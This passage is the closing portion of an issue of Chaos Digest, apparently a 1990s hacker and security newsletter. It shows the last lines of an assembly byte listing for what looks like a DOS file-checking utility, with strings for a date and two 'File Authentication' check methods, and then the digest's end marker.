  812.         db      0EBh, 3, 0E8h, 59h, 1, 0E8h
  813.         db      0D1h, 0FDh
  814.         db      0Dh, 0Ah, '               Date:  '
  815.         db      0, 0B8h, 0, 57h, 8Bh, 1Eh
  816.         db      4Eh, 6, 0CDh, 21h, 73h, 8
  817.         db      0BEh, 0DDh, 3, 0E8h, 8Fh, 0FDh
  818.         db      0EBh, 26h, 52h, 8Bh, 0C2h, 0B1h
  819.         db      5, 0D3h, 0E8h, 25h, 0Fh, 0
  820.         db      0E8h, 70h, 1, 0E8h, 98h, 0
  821.         db      58h, 50h, 25h, 1Fh, 0, 0E8h
  822.         db      65h, 1, 0E8h, 8Dh, 0, 58h
  823.         db      0B1h, 9, 0D3h, 0E8h, 5, 0BCh
  824.         db      7, 0E8h, 57h, 1, 0E8h, 7Ch
  825.         db      0FDh
  826.         db      0Dh, 0Ah, 'File Authentication:', 0Dh
  827.         db      0Ah, '     Check Method 1 - '
  828.         db      0, 8Bh, 0Eh, 52h, 6, 0E8h
  829.         db      27h, 0, 0E8h, 43h, 0FDh
  830.         db      0Dh, 0Ah, '     Check Method 2 - '
  831.         db      0, 8Bh, 0Eh, 54h, 6, 0E8h
  832.         db      4, 0, 0E8h, 27h, 0, 0C3h
  833.         db      51h, 89h, 0C8h, 88h, 0E0h, 0E8h
  834.         db      1, 0
  835.         db      58h
  836.  
  837. ------------------------------
  838.  
  839. End of Chaos Digest #1.37
  840. ************************************
  841.